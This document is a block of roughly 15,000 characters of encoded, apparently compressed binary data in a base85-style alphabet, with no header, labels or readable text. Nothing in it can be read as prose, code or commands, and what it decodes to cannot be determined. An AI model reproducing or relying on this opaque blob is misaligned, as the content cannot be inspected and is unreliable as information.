zG~rL%;rhRt@Q3Yi=aUNVcK+BLK~RFzptPiul&0vxMiJKUeq#QP6!8`Fc|Xm9f6Rpc z%mzQl_WoB*INxtjZqiB0wY~rJe?aOVvHk8f^LN?r|5X<Je)IjmQE;)#w3um(ioi_! zo1AG9&i+gI6IpP!OTtgs;bKNf_+uu#mwR2Q``Lq-z~9{WK5pKRU9ZKA;&a^27wz|p z86}_p2=7N5QkYSrm{FaG7yLM9l#%hq8D+)0ggK)iC7U}KDXq`~Sc%xjWpsqyiYOSr zQk^ixq#;o*ehf{Qiysxp0kI&4pj^rvVCjfr=8UY|fl5|b4$E@(AobX%-JHF*z9nao z)^mpKNbR%jJ8Emv9~yHgcgJn}Ow)#Kdvt-v$r0g<k{Es}YeYDsB>ZVRT+Ap5f7lKe zlu0;elriF<1Tmus$Be@LiXLnf!5Jlg_Y?DXqzKL^3IAypoHI(oe`bTPv%UXS6VCS= zl#3aa{r=N$VMYaPzkAL6-Cy-C+xvfIg9n_PQS$x2A>0959G<fn6qyDoE_Qs6Ccq_* zrGgRr1efO)o5vjsOqo>qvn^80p-sEeE=aMB<c!K|Bt=^FN*p@4IEf8qK*9T2`B(-9 z79fG41_}d{mZgnjLfp%}iBXRd_l6x4%7+}rIzc%G{zJgK@T@`ct1w^-07D#sNU((L z(u=)HjeYNZX<;`GXo#~=D+i(=t;BWQNz;cWc3y+C<^v5~@#;<M8;9%a3paYEhuX(H zuI3fVu~z?|60wGcf~^I$sorSsx=L5!L`AqZkZAO4MUn9J;gYK4P;&K5%lddYGC7uv zEs2h;?;kB6TGSG#5A-B!`o~5G&g<#wipQ!N!rG4E=5V-q7?dqWMDVy*F+$*Rr*Q&Y z?7}YKtn&zXnH^4PLc&iH4oPGLyoS5B4{;}zCiu5TfF47VRAXd~Vwz)=mSe<`kr_#8 zTuD7M4I-fbh3C3gCf(p8br9t0U@xf?mcK3t-%T+8M@5J!iiTKa@{9!<dsU6eQUP+0 zdJ%^Ti%7fPp($IGHZf=4_xg+06uL_MCBc@OL}zW!aA|u{#8*|D?+N(4Wm|X0=Wo?3 zvNnY8pVC`gPFFZl7p*A_ln<16N=oxfiVJmpe#I^OxPQEfOU^EdvlDh)>VGofj|yDM z+R6U}iIwts+<`q?Dj={V1-VrKAylb(j+?VYX>OKe8X<lo4hx_(8fye{rj1>6r;1W1 zxOEZEs_X_}ve*XmGMQ3Ek~agK8M;a4tu`Gp=o-OMk1t)jc4<#vdBLr>7L@n7L#b2< zF)~`yd;3<Dyzhe_eBV%qHhQYz{EneLP0b%~ZtCp6w7*k--w(h!$aU8$j}g3uEFjA8 zYUwAcF?*lmCsJLpI-4URs^C}f2*V-dz~fmD9ct?q5Fu>isGEX|3LIe^G&gfQ9~m87 zjWc(MBm*lmlK7zWvDT|(VRR`mxI73kA5NsXiy8%gnco<jQ;hHoyGb57a<sqy=oYnv z%~`qb+1uT{_tX;?*%mC_(Fn|S>Hh&evzL2~cbIV`9cYr3ouSrsi%hI^4f-}Pxdghs z;FC#w;<ksh;w04->rT_&MyH%KS9YjxXzP;}WZDggGsMEWxi6zEr>sJzMLets4n<U~ z=Ifucxc_EZWT451;Mk$D3+BhMyHWcff@8~unm4A`#8<cdy0o@*_I=$0LtW{?Vg1q8 z$f}JOk1pSfIN1dkj16p<j3G|8{hX%0k<LJmub`@^`_z60$_|YT_90pp^RgRQN(vsw z=os)g4JQ*$`A)*0$bysiN%+YuIOn&7pRmJ)+$Z6WWx+Y`CHzqn-V42)@*v?{|FJ!n z*&b?G^8Uxo``LbKSn~cCH5eL=`-MCx?|+2%V?K3*N8|a>YbF@^;)S9$PYy7sV#J(J zDgwruJ{DDA9km6J3TaOohDi2|ZW$3=114I*|6!cPvPriHnS7V<#?o9nAr?$i>O(0P zBSbog(s&VTsdQ(FelnXnplQ4OZL#X{e%%up+B82Nn>>GLXyZgIbMM$l`#k@2VU;iB zt&i0d8md-)e`n_)B)_n~smGU>7n|BPIlgUCBC%lWNNZvDXe@9}k*CUE;cf6%7AaLr z&nrj|4R;rq*rawOvH7qK`&)!eB(eXhiG7TskfjKREQR~kSaNhu|F@tz%5w5|ubIF5 zt3E7bDGC3T4W1OTl!X6=a50(~eT-%;X6B`|dm53=RTxdH{+t>-Yc#D8L21>KUS3K{ za#vRRBLjjgM40#%yzCOb5Dd_*MiTo8a6-%RP>Hn0)E?D*LefD^F73l|K!UqxuD?l+ z(q!~b4#rDbQX)RlcgNM^+tpZX5GW@FcYsnC33-^6Mf06c{2!c5IA@xKpU8sO0gf0G z-2V+bT&%DX{-}aeGm`Q)vo!I1$h&;Lg!B0lZfS75pU;=@Z`kh_&zJB=35PU<Pa;b` zLVIgH1}FxE8q$!mBUvM&7H5kM=Pb^aNkc449xO{Jy^O<2JL?u)Fu=b66h*HGBvq_M z(!$CJD_U7yI5XaZ`&2VotzO&-4^^?;8{AxwxEHV)?7`wLUeDyfz|kW|@(b${T_Iz4 z*Sd0j0au=T&a|^OsQf#`fb#`ljG1<B=ZVu>P)SpBYy!Mp?8AwixwGujZed1+ZHskU zW`G&{aFV6KmP%VOB@eMn`=-x)MjN=ByR-*kE<1?v6mKJk*OU|+Mq^AkIJ|;Ckp%~b zSMZZraL|Q<pRmKp;T8Nb1Ae*}y(EXno)lvCFSotdYR}`w{lp46xp)pWd)xiw<m&m4 z@P5qwO`zYEu;5Z8Ld1U*D!$aSqd<zatCmvJEqtnA0ihe^aB=~#a|cEb6bp&Q@&GZp zk*;<!bnLhRw$JaP!iL)<Y`7*{m&Fk|GFe<a%bu(KP$}@4JH+7Gb@t=Ryld+0YFzD# zy0fk+5C}Fl1_Oa6V_d0sD||gH@Z}Oas0V;AM)uc19zkxkA6kkGeq{uZjxO;`>nzVf zb2U7h<ZK~T#YKwMP~gytSYf=P5l2Iel?pszKPup@6tAI_SdFuYDFYoNs}TWLaCT&; zr>C=Uw)E)HqaQ!Ia{5C{iJ){UbqYrs*Vy#-omu_dQ{SFk>nyYIVqIavop*WwwR^ec zGBPkV3@?>mgEQrn>rnK9u00OA<05a&KaqjSdB@gneC`Ep<H}V}&T4NQ<l8Y4cn>I= zGX^<o;IJnqZ~}ZX^A~-&s76d>$L;)))`PPKQN#f_c0yrR#94MZv{0`2f(6KlJXK*t zpme%g=k9Wt5W5_DxyvDTEz|P5jvjSS?S9~eUp(}B*VlB{OXnZ_ZsrBFb^%&d?feDi zF_a$7?F8L}ixne(xCpBx^M_@xc;9-_D=J5B=QA3-z5G3TTWy2?NWuH8`~S@QA9eg7 z^Zx(~;(gF~JdTfXbj*rkf~<1<F;+a6F*>wRP?x5k(y05$Dv-tIr(&!OGPD%A=gRV7 zBnB{-*=2eyjjK}gK5|^TEs!Dr52fI`^iQU}kp=g>_r3RM-S`9Udu#KaX3cdl^BB%2 z$b~t!^+L{;v~Zk8Arnq{TEb5na9|A;ffbxI(r(=^tZMT9hj~A^A^#+RwHnOr8yJ{U zuapl~TJxJTImZg25Nc783Ldo<VwDPL@k@)Wq&Y}#grMV{tO||gROfP91=WtLXpM}R zgfff^Cv@R`NAe5&*rs^?nj^_%xckV?_s+vc*_*hAZrqf4KpRT;H#TJ+)L;LBm=l;o ztc)CF?lNPin3QGARmF9z#^>zpo+Gxa%EMwd%bX|fn@9PN9%+{-Y=$l%W<|_yn6bF} zvr?`p6L7Zw=;3obk-GAuM=gn9#q<|uwcEuO?`Xa35I26$T#H0(jI_wS6ckX2!Gfm6 zF*D)Rv?TnAEI27c!cS(wDW6F=J@e*sgr+6okD2gZ<XVxE2&WV-=jGh?aQ>Lj5gL`e z|HZ8PW9ECmZogk>TJpV*5RUocJN+!;>c=6Q$6$&?WR};=g<+g21IKu_EI2u&sFX0l zzgYNzx;L$oQhGCDu()?Sb6mKb$$KPOO5;t${5Fc2A+`4w^Qu*S%bFH2<H%Z!$jlUp z%(PLut7w&MfL<=Q%o@?KXO?d&9iP8tBss5sVvTkAt?mK+{@S?stIf>cMZ;G`*@}^w z1sAJJ?H6N%OY_U}zU|3;!?+^G1*U|A)(p(ep$swCC1xKMn3Xxai}cIIDh^9yiMfh1 zF~Hi(L`__4b|?wj0;u^TrZxjdQ2+qbzy&5Eec>)>t~B7((an$VDL6yt;ifK33bNZV z5EYzlxzHDd+G^{Gr;#o5<2-jZExcFd^6Hmg)YhFBUfV~^Bo=NP=egwIso#$cu3;)K z{-~L;NZ^Iqo*gf}I{J@wmGEqew%>23=tV-Zl=s^ydXbQn<nzDwpLm>l?`EOZ${Fyg zIRh}0gjP#9v|8)!{N3rlL#yqu{q8mMcYoD~gjOq`_bVH`Luj=U{u{!%(%?Dt5H!PG zH0k&%XO7_q=8S27NzR-}ldI=wQ;LaOBW)E&2HUZjFT~K(Ighf8V(42`-DK)X-2zq( z#?H_>+VtoJHarPY@of+gNi2-_m{dj$RbJ1qXdw18*9DNsN&ruohK<jq=J{OJ15NRf z7N4(WB-uJt<!V`;7;W+WHWsO?cW-sqCexWe)`ysa5z@v3;c%cN6bna#6BjL6@}9|H zGQM<<;eSg{`nGhB`11>x{9*XVC@;l|*)9077gz^%)#7Br$#*6Eqyfi@+^xG5oGUW4 zI^5rd(W(*8sgciNfUpVYb0qvE;SgxLptsaubQiNyfnWK4j1?_Kqjk#Wha4ebM0yD( zr59iltKcM*o=IVlEyvt+!wUeD1w_*k&<9nM6o!f=pBWH_n&cQh#1XH;hs`)>#u&j3 zesO~r5WnD`X}p<NxOD=aiD?`<RO%KyfqV4OM`=~DRW1azDI7+xLu+^D=Geg8nQ!+( zXz6T^Lh0gN4Ku;j*gG#8oQa{Z#nqQA-xXf!Tby1O4X%lewAJl-kL8Z|VU~MgBCoq~ zMI=$*P~*uf&GW{4600{hCD+zQdwd39*+zG(>6@@dg{!9=l@rEjVRSJn3eM3@h|%Ki z)~%4MDzJBjnmS7Gwj`t+mB9*%;kejU21eXS;S&$TScw|ARNjq{9|#(eMR$MdQ>^9k zsZ2N3y=AE8lF<*6c19o#jR|i6VwS3*`f}<S?NZIK+Lg1QDn4OpX<<@VSW*|Y8Ywpi zuqw*j_W<TJt2j`44wwQZtLm~-l(d<Sg&YV~hz3!$Vr77Y#Mnj|x`l$Fo{<%+@A;B8 z{lV26Z@XgN;P~*^JpbWu=&R<<?Aw3wv*lZ7ckS8N+Ue_R-S-ugz0)v%SOfem`0SDO zF{pg@Mn7}#pA)5&<Lek>KgVQ0WgZmU&!`qyv(P)#L|4wGUi7#^!2E#H;dBDzU!fvp zICz7i$1-fmD48UrL`H9mk`5Fcgr{vxm-9mARLeS;o>*sRXJmZC;J}87*g$2-S6Uwk zjrVTb)VC!tQ{7%$?5iyHMM9J5B?~%-2ixyJ@RPG=-B=_tvaV;7v#_e%TU%UGyP$8) z=4fK2uR5=^##3Ea3P{)Z($d1gvC*MZ{|O92lF+d;F_!F`857?i%$WuTbCMQw45XIz zjd8MIbU+0743Hxe$7u1E@mw^9Fwm6|*>qPj8Gzn7h6gfPQ5s1^=n(M2T?$105Q#%L zf0#z(P3u)pPp@3R{>X+%!_D9R_OWB%UOPFybM3*p*p-hRT)T5CXD)lx;Vi)nMaHJk zFP-r50FIf9o|^C<X*<QtZ3dqu2D-54jGDPQ(e63xWP*f}kc84K*=;juycz7a`3&qf zfliX$a%HsqUQAG-*c8E;F;o<*&d59kHcU)l>Z9b9>95r;&*qfnOBN~geEXJS(?Off z5tq8wjK3qXmihI;ev9)#LmUS0=n@)YoYBud)1S&{18awLHS!i0$ua&Yxzgey7Q2&? zok1~wbm(l-ZOY0jJ^`!3nK8sv4?UuaJtOj^ZyIS-Raqjz@KJZw;<1)RtQotgWo&Vk z`{-Z0`}(@!1H@)Z-)tWV&wJ0ph3}ac9`4BeOzRl!o9-JG9zaqHcc$@)RoM?}!0N7i z`VvlUOTwSXf^)T&@RM0^t``!1!VVYOmV`fM!h3a}kP--|Yzn$PLwg=K?`J#dzmoUA zXuCh|q_!oW|8@KQLfew?M+nD!9|g7d!*<lcedrpME!3d<IH_9f8+2Ssf9(Xc+r$iO zzN<TOc1f5UKnVLFhE=+PX-<?Suj-I5c;*m6E3Ap;J+-a6?z0;^RXCv5lkZtFW*FIP zD~{TYoo4J(>ll@5ZDr;;p>kuBF%!#-QIgnsDhq4$UrG4GCf2yW$K_btuH|}~oe!YM z+7hDGZXFiD9uh62YRk4v>r<WBQWO!sP@`x^=Bi0cT#>LcV6Ffzl9Z5Zit>F(T`)tx zY&hyo>+9+gN3(Hq&eeKFb7w(j&88eY(Aq>QUnexDb#th{m;Ht2M0hrJ+V8hh=Q^P| z$@}fpxlU+K^7&u0<JozMNzK2uQL|5IM#R6{`SY{De~|@$+I-F{3J!aozFN%cI@vG$ z<+w{YXQ_l6HW2|AvsA(#%etT5WC^F3#^+RlM^1_7qp~5nhSLt`^CkR*9WI_P;g6Z{ zUL8g)bwBa^>oY$8ar1t@mt26)q3@%^x?flT<ntd^_s;_!q|Sj7Xg1AQ!pX%X+^`u5 zxbVeD_@nq0`wQV$pK<=bxSutv@}0lSf*&{Gf6RhEYr_AK1%JYXznKNU!-W5v0f%pB zMy%O<ucg7yZO`wG`$apyrJmz<{#j|z^8PE#=fA=GvDW2*8y>{kAA;@aFhkgk9Q!cV zIxA{MaXl;hEk|(7$*s3UXbM1#qmJT@GLAY5@rZjigN2IKpQ~Jz-S1<@OJm<scT9sh z^qW6?@(dhMA8&oS<!&uiu;32;#Hod6;(wq2JgQ*)%^Jf$m^gTgC@{v>b&U!C4?Em> zy9s~Y4tHIo;BMz%3><T;oCYl<oumadVz&2Kzx%84JC2#_T=RMVnFXIR;cwgEn{Ds^ zZv!sgZ_rlKN!qf#|McI*d#v}rWBhK;`%h)TSDEiWO*nRXdIx`4%d{L}1lWPWsG=(i z!&n(YisxH2V-Fge<NBf<K2HQmK}-a3$nEZBsuYv;im@0lgo++$=8}<g7+_T@t|&n> z!8`$4sbY4Rkd(cVVq{2Yz8#Sd-K%}_V|U*9vCPkFM%I8HPV9Sl-^qRYn#{8rq8ep? zIJdPM(Lc=X37kL|wEL#ToDWNQi5<?lE#ZG498GS*TuP%>*9fB;qcHc3p~Z$|p>_#A zGd8->6^Gd=S<8xfaaB^VMj=U{x&sFT%eW~^6m|^kyCkr{yiP2OGB#A@8`upArjlh3 zXB1W@gh4uyB$Q5%_H+~<souNIvLDP1XS{Up`;YX^jHHT><X6-t^c9=eUbS}fM0a%k zt~|?ZkY#h2S8@CkUwSftB8Ab~=Ag&KC+Sn-?aeHFe$<5jR>3DgXMIlMIRfnDJO3b< zoDOaRIOvbwSw#9VJi!Pbqn*IOxYF`1jN6U4)Zx9rIM+X~@@yf3g<0wtN@nSP!?@UN zT)fB&R<y&;sE+$^h>UP@5kR@#h+pP8w%|ep!C=!BRFlRaQOzT#lQn4=F3F58YR0Pm zN{bN+DKgh$-l^f?S8l!e=38HRdH&eg{IR`zwf+N|=aDab;gLh@)?B-K-F-WrBZVqV z==s{Mf?}u9rZPdX<h7t=wF*i&Ig^C{F$+!%OZXqM;2bFle=`ftRZ7DDEep;Ol<?mg zaB!qDv3e0sUL;rRx$XSDaldFkS1)=0pR?}g>Ls852Jgp=o5qZ52PMR~YgJIKUB>w5 ztXVP2@-eBh3jU*FL8X2Mf^Z6gKsf>tfg`neIGHhktjr|2P7K4yVlc*TDHuj1NUQ(O zxP(QfwWm<aBAEHL)_8^`Ov`*qKXLfJ!(TXjrqzq1EV0FPNcR498@4VG>wv`8e;e2$ z)}6-aVI9Ez3iqTE!SBj!zkA2{9k4$t)*<=4Q#N>+i|c@dpC%l#gOM-q!=%~FiDYC3 zT3%F@^JmRLOMRmI1lD}P)agE{1d59VvS|qMi!07j$_c_IfX%4o&fG@0JPf8H9G21Y zTI-P;wGWgwbVLXHORx7|yW_SSZ#=S~=dGTSr@q)-+&HhZZef4druRJc#V<Z}XzQ%g zIV&tBF>v^ZSh3@1e!laM8cx8tgcE}j{-yzk1tp?Cr{J`GN}W~SPx_bl|CaXyL;3i# z2J}g7{wr4X5}DiQGdYzqKU!E)oXP^^L@Zd5H#AV70EfV%j~vVa0267sh7!rfmnf^@ zbW8xiFJ%lp37KZ7GMrhHf)*N{Yq+4m%plCIFg_X4$DZDpSG(b%WBvWd<R2}bc}4p_ z`&Z7+uH2u=)9$_SLST=U;CexS2{a~O$RWh)GQdj(cS;JlAwx?zxs!w&GPHz~J4v`9 zLrXYEN5bF4)2!!{J4v`9L(BU)Iuia{<9^JOQo)@FSCY~h+WC9qe$jq%CwadiTg&H@ zJIUw2!TW*!W#CS2f;(ND%bjvor+4K}<Ue!m<1)Sy#$^ne#f@Zu8ww6(2U3{=b!6FH zcWK|e>#j3!B0Y2OKJAr#`!ex;XJSPrX2^+TPlZGbI%k$CFe&JKB_%??3Ug=CO-qYV zK?fFDD=M}C%7g}I8>?Dy;%h7^#nv1C6Hf$Q0KGIkvaSyTNxa}g1ubpKmdp!x-G!RY zg&iyUXas8xw;|A5`?t(tv^t5_IR!nYfJD$E-Bo}y-e!Xs|3&~fo2LYPBgQ!-=(I_| zf5)A-ale3z_#6p;#sSYh;do9+JV(NRq+te__tV}g;g34*%zPPi5#jTJty0IG6k@Q$ zl1)xj7_d-cRp_Cm1V&{s(;273S^@G?5k4_Or$~MWVv%vWw52ezQ^x9WV;zP|;X83v zZ2p3kB3Qdf6c}W*PTIp*oroUFELpVZ*zx09_^-bGK5aJhlhOU7pGDu~9H&0qB5-QV zWeMk;m2hLujsi#Z0!M@s*R29a@_tg3ykAn3v2zp)SzRp^4eq07tn4{eFLG23Yng%I zMK5kn4x%#Ti?yFr%8*yu>g9fx%(-TLQ&FpmCMMyh=|#aR&*&rf7GJk=)iXb8xwjY; z*Qvd9s%moW-t)AVGMyZCu__AcK@TZ|;jaZJmy>XV%gOtRF$p&?CgJ3A68>h^bI9c+ z+~9Kc;AW`mtl$<mo7<k>XFZ49jL)$w1@ivyna}_CtozC3<a;HTbHWnz6f8LJVD7VG z0-{$~J&hY6$jB9ny;gi=PW>tSK#^K08IzW=`J158Jat9+nf2%RZ3!r!MpP1papl8z zq<%VzVW|>V3G<3p8-7bUg7w8^A`&Z$vs#1`Q7b4cinuFbR!8KD6Y|8W{@zXVhHgBf z&ZqRp>e?o{_D^)_kJXlhX8U$+`1BW_GR|6Sab=M<;@`YB^8=_x#h&8KKl?fA0z0Gz z?K|knTxuZQOKcjPl-OVGY=Z?fN-eSw@~SLL%VHN^Q({o$Y;g%?ZLt7WFtiN1mBpG^ za9iq1G_{iMtDsHNSx03^8dnX^oN!SiS|y!bU|(My>q!P~JaPmAR(ERp>den4y1FKC z=+AX@JDcCP{)<mh%0i6F#OB#6*KQV?qM8@01tz{X2NS*QF)&1UHr?9qx6|!vC+Jq) zZ>+)+bHJ#8=R5xuPc!D7w3bLZH>@RMzKB(U@H1FTFcPCeN|wJftR-T82q{^@4Qq*n zuQKP8vX+2C9r{vm`wCFwMRVf~tx7&QeBVAZm||Cj0m4wBG7k1AQ*v`Dj3Gq=&e_4a zBV#VH6%t3!GKC~OD#tFZdEbA-4e!@_r9C8n!T9)sM?e4hM}<WMtN(fD9y<3tjMj3r zdQ5OJ%KD&Nm&B%olUqsn9}GD7`<USGgp<Dy3+#u0#a8j0PWc>8XgpuS`5X!V1L0U3 zLy(zTVMAHSoFl(ukz+BYt-<$|&(R`sMfD;!XI$D!#$hWNN8?Zi4z`l)m=A{PNX3HA z##W$<hR;@!+(7qdLIia{492_|0{8z%Q5^JE=T=H(l`@-ivOC*3S-Nb0{G8;5j=q7G z^pZ_$Z@7H*6^Yq~<(=Ex(o1GHhKAM;T1J>`m*sf=K--q)#?H1xvY@15*NW}?x?8q{ z;xqAhVQKjVYui^1C0&*+#>6pK5Q*bA4cud_fMW&cSj7eI+c8$GCLVKK!i85_f(_g& za<p)tW6iS*u(ZudCr${D=Gu)Q0&pCzvT}b?nng&o5sZS+p;0(nW&9x~0BN~m$KWKw zBM=l3Yu7SYHw<@$YkOyglGD-g#tv_NMSi?_-L*geuzupbpUBs1+L!dTO^?Q^13Thn z{!nE++<e)mPhmB(DoB<)wsL8aJKq`oQhd_tmlcmsc?<jEiN>=Q4NLzp`WX@8oQb%S zCIQy<p$U>9Dw<N7WK~COMRNIFx8MG4z46<(%es~azIOQV*A8$7_%XvKgmtS6D1vnh ze+3+)gL;=39m18Q#9m-#unuMtc`9fNg_@k|)AkZOAvqsHpzsjpL+A|ifjM~9f@!c~ zBsb-#I}_DY4FoIkWcl2OvdOx<k)3QgtGitvKYaMqGueK2@{$(C84<@{Y1;AFk}`9x z%aQgh&d3phsx3zdGH^LCCM9C-x57Gaa>U3Pg)oQGSkjLUJDU}Ev;5eBp6R}ZhQ8^Z z11ne@YK4B{%J9&d?(Q{1;TtoJ?ZI}&PxNDcL<BGE#(S)_T*4{YNw^`|NjQ0&gc~C) z;hdKe{wAKrk(Y2vb`ow#cKwj-B7!0aw^m4bKV@)vzp+9}I3+uIzp+9Ro^VpKllL2v zoxGotorD|uYd<Is??v^3eRRh5ianwY+Uub)t;b=_n;e^ka-9q2EXY+Q5DSsJUCbjg z;3_;?ZZs1Gj9Efp2cGI6c6&!u5M^&{s&Gcbn#z;*d@rvm8HpsT^6tv>wKv6E{RRFq zTiKkkLA{`|eCheUh;hj*jPxhH-eiA7JCQlBbNRfXKwY?|+^m^X9riVL)#mA1V#%&W z+Gnj%q1Q-a=dG;Kq68=5Qi9XOD6WSD7jkT5iB?&Q*}$4|o4pIxluc4-!1;oJ8LM1| zQiLcyp|t8M#17a|1oI4?;zpRUg^<-(`@&UyTb3{1(l@8`2QNx>7G}P@c=zIX9Dg+G zbfkmzLPGm1`e>)`Ucf1#5uQzd_WSMhw_ZqS@_sx0t*1XtJjasI1pT>~FG)<gof)MY zN;v&h68>Ljf&V=VzSF$_Zwg)vKC?p1+n%g`NjT@Bgd6iv!Z{Bm+?a=RpYwY>jT8bA zNM9?S-<S1#3Fq@A+<3kV^Lee9&xBj}l=t(!@_ysJbDy96Ue0s*90Sktep04<&g-h3 zkOK6SXlH*`J0+ZaO2Q33CE>K2Nw~0^f!|KT_m9XO%+>2@Sjdi;Q{37L{m6-!%MlzD zKexi9taJvsw=x+!iYJ53UrkNkPsuP(q$nWugdD<P6$}fJ6;piP$)mHLa4i#0@~eYM z><8z`54@m%H}lfo!m5TUZRXTFo2rw+N>A;L+<iR`+_2sy_g}^S!3;f-<qWv6YiD1J z?13#b8qg?5w<RS5<UYZz?TyfV9lz&?_ndl5D=ygalWX<iQ_o(jw`NuWmm_#@1K#U) zEah7ZvUWetk-2h$)3fZtcx|3|ZI!BqH=@0E^!QOa#`W=2&){uC7&#PMhX%2MOXvU0 z@`Q1rldT9DY&4NzMMWPO#7JR|nhEw-#yV@+kn$qERlQD#43R3YGot%5(ck<=do}a? z^UrI8FI=yUy0p>j4`<%omcfMJ{?G6_K;ln1HnCiUv>h1yGRHEm!oICV#V+zNmRnj$ z=}agWVj4qlsr!mVG-GcAvP(LNd&iuNyp_5U3buP=^|wzhdH;<!zJJN&?SJtGDhrr~ zQBWE1{$*!T=z~|>dEb3^Uh%<D(ar~p<ISDEZHrf}TD;BI*&Hu^5Iw0zPsTAXD#-au zAbzkgxY3iG&|ABLE|y1oaG(`>OVfNF4vL!;Ji+;;G=}DjC{a&rdPHv-8R?#0`9T%{ zJcxM4wUh5;_JK2r>VJsUhMiDwDp8qAe5Qp(cXWc|H|f8F<)+24otB$cv4OAMVv`d? zY)N0TQ8KtyT4!i!WN;Ymi^x@l3?}!J@c_ylcZ5pC?4fbZi#6SC3v8TI*re^Uo1@FF zJm+Ia((_Xu-R+s`Yg^hEh)r%9YU}IiXz%SUx$D+L4_q?fa^IAv*LJVy>+TJYZWv*9 z%-*r|%5;y~<&M>6X>E0Z9Q?4UU?%~lSxK7;%T6=po#&jmPK$$CwnHNmAWG?7^fAhM z__yQ1_u@d=an>M@Lixl8I+0(*g>V_0P<o2rA{5SHS$^J)Pb@kQp&nz*9S5in$!$5r zmO}ZlNTORth<jDV9Eh*eT59p~^w8M+^((QPZ+WY~`r19!H8s_Hbl2jM)}i7&l)zoM zW@od%#=GZPpV#a4?Ew{B#bF0F@*FUgxj<3e;L4y;HMCaG?c9xxqc@w4qcU)ncGI7a z>d4&O$43^Oz7&~8F0d4_qgo|`d}W^~%Ud;M)B~+ISU!1U>XL&>kw-dO$xWF!N%YVJ z#)-_0GMOqaW&&&*oX<rgbwTaQ>6<by-lT2XUQ>NAb>+-Gm<30UoYsOJE3ZmnK8PAF zg8uVC>>652+l&hY@e``O*&45En$^~vFvpxE$}DzF4b83-i%D+9O)+KH$f?yxMJS5{ z!qG@YBpmEOB54H|Bqg?2RG#0$3s4V>U&-uesq$39G*k;IF)V0_ixIbU>qkrswxQzo zsU2FH<~(m2yDM>fpr97g5MSku{YO{&+UBBIJP<8xxvHn_P+RYnErrnlb|q`RuDk2d z%P&9B*iz^&Ovdj27yP?Fmc)ma#s^-0nQcmghxn1D(<<wAw+Uh1pePj_YvIu19!3rY z_E=LPvE_77zKDscW=uKIQO<cp+^7$nVYlPMz5E7#OcY-NWiY^2#!WN#nt?)g;|->c zm1O~5Z?AAJCzuvleRX6uxVXQ)bKuI|;rh1rw#mSnraf!>)(!`UJJa*7Dd}ll6$yvy z^V=_|_vQP-f#CAiE^jg&>>Mu4E0{<xTt{3i06kTMo=P2}z()4^dbZhRAxEut*5YPQ zAm*x@he74e&qx`@wt~!t>4!^V!5t;}CqF3u=&sM+t&N>}=d*Wbz6p94?QtT8TgNI3 ziT+8leYA5C+S!VB`dJTx+py8tZj4z@JC&=_YNy@oCaBt~IKmov25+p9R9%B%tTCv% z27@arf77_Fi#;}IaFgULdS)k2vB-6x9$swG(d9cnvCWf06}zfb|5Wp^cfoS7pXZ)? zI2_2!&krS59E>(y4->NHs5$-LVic+!Ybm(M3cg0~ayXEh#1_)+qrjABnfy#P#HG$+ zKj49k$j4M_(P|df__bS(?k}qJmjxy}n-11*JO5Eu7+yHOX+e8gz{hq$i@``xKG?%{ zWy=Tu80&WVKw#Z24YI^rF--X^O+gPnJ^SRBv`JNA+6%XEKljUpkkftFMFkh#d_`Wt zwbvHpU7@>v`qNYI{MUxee`>`W{tN9isJNIBp$Oe{l>V=%BPWyGYA44WT9jZ=g>tsD zI=q<Rg&-49grW{f35bt^Nbij;IQsdc_+NKD`|PQAzWZHJw%nbUl1-(cXrs;VCP!NY zY_$kjBA?D;+!$%70b-$}HO~`UpuHsCE=xw^?J`4zZ-*rwpGEycv97p8YX&jWlsVjv zQHu82QhkmjXm5=r_~mirl;Q0+4`^>Z@F5}G?c@7I^fjWU^F<W2(@_h#ejGA%DKxby z#}6pmFLW#tXr|$kG9=IQO+6+;>rKRFy-^827K&25!=7K+Pe8xJ($egbw?JYS@92{8 zRTRLbD9#dIGFy(;If}$Iy1SJdiXuD49Sd0;XYLCwD=ZHPSP$}gS*iw;E-T^1msKMV zNwZJ_ZL%aI9x-g$Nir|gR9Dy3*40hA%UgqiwqSXAuq_a5Eq7m$1Go>j)#COGf~m(+ z!PbE*23jL+;f9HemMyzzq9NR-IWwp1pELiZHH*8%{TLricVzT)e8_ic6Oz(Vv11KY z%<LJJLk~H5L`tU?HX-TQXUqpz_+lhPG@<0X{LdTHp2-|KdiT-kn{-!ZAM2Z+#@h$b znj%nRHT_SebNHd+cGkcv=57Hj2FYJzmr*fDrJTOg0Fa-vQIuy&MO8$jh9Pp;V3>j_ zpBZePn06@7Kh=Hi>Z6I)w$`IZe;iJ1-2C;2Qn6tDGpF7mmJs2t52BsL)K2r~VCf(8 z$DE#6jL6t)f)${cPo@5g1TWu!|4#iYu(d<Gn}=*k9mZ=GEh%^GqJ)+0G5E*hrM%o0 z3eP-%<kR#Wa3IUG29oW=VE#VSacBkp8^73UU}nePfF`tzd%kfksdMaR-l7o$%QP96 zInQ(2YF|VwUc<aISp~v{v-Ef%T#WuAzQQHga;@ZvWJ#74-O@*{Kd8C)CFgZDV9WZ( z)4vJCVu4lQSReLxENE++>hSN52Yi9}N5PtmaV~?T(BSweE&l-}0#aL`pu=;6*^8X9 z&#CL1V^gy42SaC+Ur;Ew50k5p&fZ-IMBafz=xxMmh4>(4Nx1@<?gFc$q~+k%Lq=C0 z{wnk8d$rirSL-gbx7(wM+C=no+Pxqs-2vfHk72afV^CDNlDMP?-ilbx>8I5#I<BCt zh^dFRJF)i<w%?O`Y-P6_>|XUZs|T@&)q{0MZ!lV)dGl`^scp8V8v}(IISkpp0kVCR zbwPa&sW%&vloC!YDpxt8f=$WHMhC{4!UI-Wx!Plz%hlciZV#le1GnSiUVg~>2F}}3 z^h2^c>Yh-Uxg=vhEGfdvx^u$jZRFbb$Nue8`tU$oSNWdORPR(P3xUSxZylYzIIyd{ zr@e1j{}i+88)L%_9g#|-n#TP8(Qwl+Oufj%M1P0T-x_E$$fs^ZITq=fXcTmL)}E^s z+(LyKNlU1-0^2OL8xvJxg&~<j29jHyQ3jIr_}FjiH4+zAb}U39FbLa<my+(%c0|gR zp(rN2C)x*QXWSE4Up-McySjZri?^nAersuENnTz_WvM!s?7Zw{-SsaAwg)HQBkDoy zEUayb?vA$97Md5tN*n$ZgL-|C7!YS&iJ@SHLODyVJ(=Ex9x(otvh2)<iNKVsnR8UC zYz1K$jJP2f*T}GKTRq8nu!(wK8fvVlJ_8G9Z%l~ZBnMW-9@g4MYHNEY*VMI7CbjU< zi822`+bV78-ughGe(%B7=KTBxld17m|EYH#-`f(_J{GO^Rfi}|fz62=t9)`M^mhV( zxC2fFW-H>FJ?3m>TtN9;u4MUg?A?>r652({Tm3LVa@-B><3dM$%2bQcaf6*II}eOI 